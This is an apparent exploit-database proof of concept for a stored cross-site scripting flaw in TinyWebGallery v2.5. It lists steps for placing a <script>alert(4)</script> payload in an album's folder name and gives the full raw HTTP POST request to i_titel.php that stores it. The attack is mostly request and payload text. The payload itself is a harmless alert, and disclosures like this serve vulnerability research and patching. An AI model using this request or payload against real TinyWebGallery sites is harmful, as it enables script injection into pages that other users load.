#Exploit Title: TinyWebGallery v2.5 - Stored Cross-Site Scripting (XSS)
#Application: TinyWebGallery
#Version: v2.5
#Bugs:  Stored Xss
#Technology: PHP
#Vendor URL: http://www.tinywebgallery.com/
#Software Link: https://www.tinywebgallery.com/download.php?tinywebgallery=latest
#Date of found: 07-05-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================
steps: 

1. Login to account
2. Go to http://localhost/twg25/index.php?twg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpg
3. Edit 
4. Set folder name section as  <script>alert(4)</script>



Request :



POST /twg25/i_frames/i_titel.php HTTP/1.1
Host: localhost
Content-Length: 264
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/twg25/i_frames/i_titel.php?twg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpg
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=qc7mfbthpf7tnf32a34p8l766k
Connection: close

twg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpg&twg_foffset=&twg_submit=true&twg_titel_page2=true&twg_foldername_mod=1&twg_foldername=%26lt%3Bscript%26gt%3Balert%284%29%26lt%3B%2Fscript%26gt%3B&twg_folderdesc_mod=1&twg_folderdesc=aaaaaaaaaaaaaaaaa&twg_submit=Save


5. Go to http://localhost/twg25/index.php